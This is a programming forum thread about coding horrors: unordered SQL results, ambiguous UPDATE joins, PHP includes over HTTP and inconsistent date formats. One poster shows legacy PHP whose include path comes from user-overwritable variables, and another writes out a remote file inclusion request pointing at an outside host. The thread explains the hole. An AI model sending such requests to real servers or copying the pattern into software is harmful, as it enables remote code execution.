|
Plorkyeran posted:Prints: r: 33 g: 22 b: 11 code:
|
# ? Dec 18, 2012 08:40 |
|
|
# ? May 30, 2024 14:43 |
|
Not sure which is the real horror here... Is it the fact that MySQL just throws records in the first available space, or the fact that whoever wrote the real world code that showed me this problem hadn't explicitly ordered the results. This, obviously, isn't real data - it's just an example I whipped up to show. The real data consisted of new comments appearing before old comments because there was no ordering on date or ID or... well... anything.
|
# ? Dec 18, 2012 14:18 |
|
Why wouldn't it throw it in the first available space? Unless that particular column is used for clustering, there has to be an index for it anyway, so it's not like it costs you anything. Compacting the rows whenever one is deleted would be way slow, and not reusing those rows would be wasteful. And not doing an unnecessary sort when a sort isn't actually asked for is like, Optimization 101.
|
# ? Dec 18, 2012 14:50 |
|
I love to rip on MySQL as much as the next guy, but the horror is clearly not them. It's in the query that doesn't explicitly order by date. By definition, unordered results are unordered, and you will get weird poo poo like that.
|
# ? Dec 18, 2012 15:01 |
|
npe posted:I love to rip on MySQL as much as the next guy, but the horror is clearly not them. It's in the query that doesn't explicitly order by date. By definition, unordered results are unordered, and you will get weird poo poo like that. Agreed. One of our easiest interview questions has the candidate write a query that requires an order by clause. This is basic stuff that developers who interface with databases should know and do.
|
# ? Dec 18, 2012 15:10 |
|
That's true for SQL in general, isn't it? Without an ORDER BY clause there's no guarantee it'll return rows in the order of insertion even with a clustered column. It's OK though, people honestly have no loving idea when it comes to this and it's because if you ask a question about it, or look up existing answers, 99% of discussions have one or more vitriolic SQL know-it-all jackasses preaching the wrong info so furiously that nobody can be arsed actually correcting them. see: http://sqlblog.com/blogs/alexander_kuznetsov/archive/2009/05/20/without-order-by-there-is-no-default-sort-order.aspx (and comments).
|
# ? Dec 18, 2012 15:15 |
|
That there's people who think "in this contrived example you can obviously see a pattern" is the same as "there's an absolute guarantee that this will always happen a certain way" makes me weep for the human race.
|
# ? Dec 18, 2012 15:28 |
|
Isilkor posted:That there's people who think "in this contrived example you can obviously see a pattern" is the same as "there's an absolute guarantee that this will always happen a certain way" makes me weep for the human race. Edit; I think it's pretty amazing that someone could see the authors results, do it themselves and get different results, and still come to the conclusion that "maybe they are in order and you're wrong!". The Gripper fucked around with this message at 15:34 on Dec 18, 2012 |
# ? Dec 18, 2012 15:31 |
|
The comments on that article make me want to weep. Who are these people and how can I make sure I never work with/against them?
|
# ? Dec 18, 2012 15:40 |
|
Zombywuf posted:The comments on that article make me want to weep. Who are these people and how can I make sure I never work with/against them?
|
# ? Dec 18, 2012 18:30 |
|
Isilkor posted:That there's people who think "in this contrived example you can obviously see a pattern" is the same as "there's an absolute guarantee that this will always happen a certain way" makes me weep for the human race. I mean, even if your implementation does always do it in a certain way, it's a pretty huge coding horror to rely on undocumented implementation details.
|
# ? Dec 18, 2012 19:57 |
|
Zombywuf posted:The comments on that article make me want to weep. Who are these people and how can I make sure I never work with/against them? I think the question "What does 'undefined behavior' mean" would be a good one.
|
# ? Dec 18, 2012 20:11 |
|
The Gripper posted:see: http://sqlblog.com/blogs/alexander_kuznetsov/archive/2009/05/20/without-order-by-there-is-no-default-sort-order.aspx (and comments). Comments posted:Actually, SkullKiller, your first statement is incorrect;
|
# ? Dec 18, 2012 22:03 |
|
Skull killing requires more SQL than you'd expect.
|
# ? Dec 18, 2012 22:05 |
|
hobbesmaster posted:I think the question "What does 'undefined behavior' mean" would be a good one. I'd probably be more evil than that, perhaps something like: code:
(bonus points: correct trigger behaviour)
|
# ? Dec 18, 2012 23:19 |
|
Zombywuf posted:update foo set value = new_value from bar where fid = id; Jesus. One of my first forages into SQL was to add a comments table to a rather, uh, let's say 'simple' CMS. Of course, each (page) entry had it's own ID, so each comment was linked to that id, and I just did a select where comment_ref = parentid. I figured that much out without even knowing how to do an insert. What the hell?
|
# ? Dec 18, 2012 23:23 |
|
Yeah, implicit joins are one of the few places where the spec authors decided that it would be a good idea to not piss everybody off. I just sort of figured it out on my own. I still can't get over how stupid and arcane the various SQL syntaxes are.
|
# ? Dec 18, 2012 23:40 |
|
Zombywuf posted:I'd probably be more evil than that, perhaps something like: I'm not a SQL expert by any means so forgive me for being naive, but is it because you could theoretically have multiple fids per id and you could get them in any order?
|
# ? Dec 19, 2012 00:11 |
|
Zamujasa posted:I'm not a SQL expert by any means so forgive me for being naive, but is it because you could theoretically have multiple fids per id and you could get them in any order? Obviously, it'd make sense to have an auto_increment (forgive the MySQL syntax) and a date stamp of entry to do an ORDER BY.. even for the weakest link..
|
# ? Dec 19, 2012 01:15 |
|
Heh, if you are doing it sequentially in MySQL you can do LAST_INSERT_ID().
|
# ? Dec 19, 2012 01:25 |
|
Zamujasa posted:I'm not a SQL expert by any means so forgive me for being naive, but is it because you could theoretically have multiple fids per id and you could get them in any order? Yeah, and one of them will be used for the update. Well technically all will be, but there can be only one.
|
# ? Dec 19, 2012 02:12 |
|
Wozbo posted:Heh, if you are doing it sequentially in MySQL you can do LAST_INSERT_ID(). I was going to tease you here, but last_insert_id() is actually good so long as it is on the same connection. They can't make anything else really - uh - reliable, but this works. It's still pretty lovely to depend on, though. I would just pass the entry_id as a hidden value on the comment entry and do sanitization if someone tried to enter a response.
|
# ? Dec 19, 2012 03:14 |
|
Here's an oldie but goodie:code:
|
# ? Dec 19, 2012 10:17 |
|
Viggen posted:Here's an oldie but goodie: Ladies and gentlemen, I believe we have reached peak PHP.
|
# ? Dec 19, 2012 22:08 |
|
Viggen posted:Here's an oldie but goodie: I don't get it, aren't includes like headers and footers a basic part of php templating?
|
# ? Dec 19, 2012 22:14 |
|
baquerd posted:I don't get it, aren't includes like headers and footers a basic part of php templating? Yes, they're common, but generally you don't pull them in via http. I have no idea why anyone would ever think that this is a good idea. Also, "include" will try to execute the code, which means that if you don't own site.com, then whoever does can inject arbitrary code into your site. bobthecheese fucked around with this message at 22:19 on Dec 19, 2012 |
# ? Dec 19, 2012 22:16 |
|
baquerd posted:I don't get it, aren't includes like headers and footers a basic part of php templating? Yeah, but each time that page is requested the server serving the page is making two HTTP requests to site.com, rather than including them from local files.
|
# ? Dec 19, 2012 22:17 |
|
Plus errors are being suppressed, so if for some reason those files cannot be found you'll never know!
|
# ? Dec 19, 2012 22:36 |
|
bobthecheese posted:Yes, they're common, but generally you don't pull them in via http. I have no idea why anyone would ever think that this is a good idea. I have no idea why you even can do that. Does PHP use some bizarre file system abstraction that accepts arbitrary URIs in any location, or did someone specifically program in the ability to include HTTP responses?
|
# ? Dec 19, 2012 23:44 |
|
Can we talk about development management horrors here? There's a business analyst who's leading the client facing part of our development effort who can never seem to remember to budget time for testing. He seems to think that the development process means getting a thing to work once and then deploying it. I'm constantly amazed when I talk to him that he's made it this far.
|
# ? Dec 19, 2012 23:47 |
|
Amarkov posted:I have no idea why you even can do that. Does PHP use some bizarre file system abstraction that accepts arbitrary URIs in any location, or did someone specifically program in the ability to include HTTP responses? The latter. You can disable it (and it defaults to off for a long time), but... My favorite spin on it went like this, for a server with register_globals off but running an ancient system: php:<? // Imagine some code here to use extract() with EXTR_OVERWRITE to simulate // register_globals, by extracting SERVER, ENV, COOKIE, POST, GET, in order define("ROOT_DIR", $DOCUMENT_ROOT); // some crap here // include(ROOT_DIR . "includes/functions.php"); ?> This was a fun one. Edit: gently caress, I just remembered it wasn't even extract(), it was some awful home-grown solution involving foreach and variable variables. Zamujasa fucked around with this message at 00:15 on Dec 20, 2012 |
# ? Dec 20, 2012 00:06 |
|
Zamujasa posted:Anybody who has had the "fun" of maintaining legacy applications will probably spot the flaw in this genius plan with ease. Bonus points: It was released as open source. Was it something like GET oops.php?DOCUMENT_ROOT=http://phpexploits.com/?
|
# ? Dec 20, 2012 00:08 |
|
Amarkov posted:I have no idea why you even can do that. Does PHP use some bizarre file system abstraction that accepts arbitrary URIs in any location, or did someone specifically program in the ability to include HTTP responses? The former, actually. fopen works with it too. http://php.net/manual/en/wrappers.php
|
# ? Dec 20, 2012 00:10 |
|
ToxicFrog posted:Was it something like GET oops.php?DOCUMENT_ROOT=http://phpexploits.com/? Yes, that exactly. And even worse than the usual index.php?page=poo poo.php because the source was right there, you didn't even have to fumble with figuring out what you could stuff into ?page= to make it break.
|
# ? Dec 20, 2012 00:17 |
|
Can I use this space to bitch about how awful everything about date strings is? I feel like entirely too much of my time has been spent dealing with making sure everything agrees on what a date looks like. Like my ORM/web framework spits out everything in RFC822/Internet time. Javascript eats that just fine, but it shits out RFC3339 by default when converting to JSON. My ORM, by default, fails to parse 3339 and shits itself, causing it to default to todays date. When we were in Python, the default output for datetimes into JSON was ISO8601. Additionally, as far as I know, there aren't any standard formatter implementations for any of the three aforementioned standards in Java, Scala, Objective-C, or Python. I should be able to just do a toString/fromString in any language and get a sane, consistent result. Additionally RFC822 isn't even naturally sortable because it starts with a goddamn text representation of the day of the week. Just. Why.
|
# ? Dec 22, 2012 00:48 |
|
ultramiraculous posted:Can I use this space to bitch about how awful everything about date strings is? I feel like entirely too much of my time has been spent dealing with making sure everything agrees on what a date looks like. Like my ORM/web framework spits out everything in RFC822/Internet time. Javascript eats that just fine, but it shits out RFC3339 by default when converting to JSON. My ORM, by default, fails to parse 3339 and shits itself, causing it to default to todays date. When we were in Python, the default output for datetimes into JSON was ISO8601. Additionally, as far as I know, there aren't any standard formatter implementations for any of the three aforementioned standards in Java, Scala, Objective-C, or Python. I should be able to just do a toString/fromString in any language and get a sane, consistent result. Everyone in java uses joda-time (until (if) JSR-310 makes it in), and there's a scala wrapper for it.
|
# ? Dec 22, 2012 01:05 |
|
ultramiraculous posted:Can I use this space to bitch about how awful everything about date strings is? I feel like entirely too much of my time has been spent dealing with making sure everything agrees on what a date looks like. Like my ORM/web framework spits out everything in RFC822/Internet time. Javascript eats that just fine, but it shits out RFC3339 by default when converting to JSON. My ORM, by default, fails to parse 3339 and shits itself, causing it to default to todays date. When we were in Python, the default output for datetimes into JSON was ISO8601. Additionally, as far as I know, there aren't any standard formatter implementations for any of the three aforementioned standards in Java, Scala, Objective-C, or Python. I should be able to just do a toString/fromString in any language and get a sane, consistent result.
|
# ? Dec 22, 2012 01:26 |
|
This is it. Dates aren't exactly standardised across nations, let alone programming. As long as each language you use has a library that can parse custom formats, you just have to be specific about what your string format is for passing dates around. Any automatic parser is always going to be making localisation assumptions without explicit information.
|
# ? Dec 22, 2012 02:18 |
|
ultramiraculous posted:Can I use this space to bitch about how awful everything about date strings is? Sure, don't forget timezones, leap seconds, or daylight savings either.
|
# ? Dec 22, 2012 03:58 |
|
|
# ? May 30, 2024 14:43 |
|
ultramiraculous posted:I should be able to just do a toString/fromString in any language and get a sane, consistent result. If you ask for an RFC822 date string, you will either get such a string or find that the operation is unsupported. If you just ask for "a date string", you will get whatever date string the library prefers, which will usually simply be the date string that maps most naturally to the internal date storage. I'm not sure why you would want or expect different behavior. Amarkov fucked around with this message at 04:40 on Dec 22, 2012 |
# ? Dec 22, 2012 04:35 |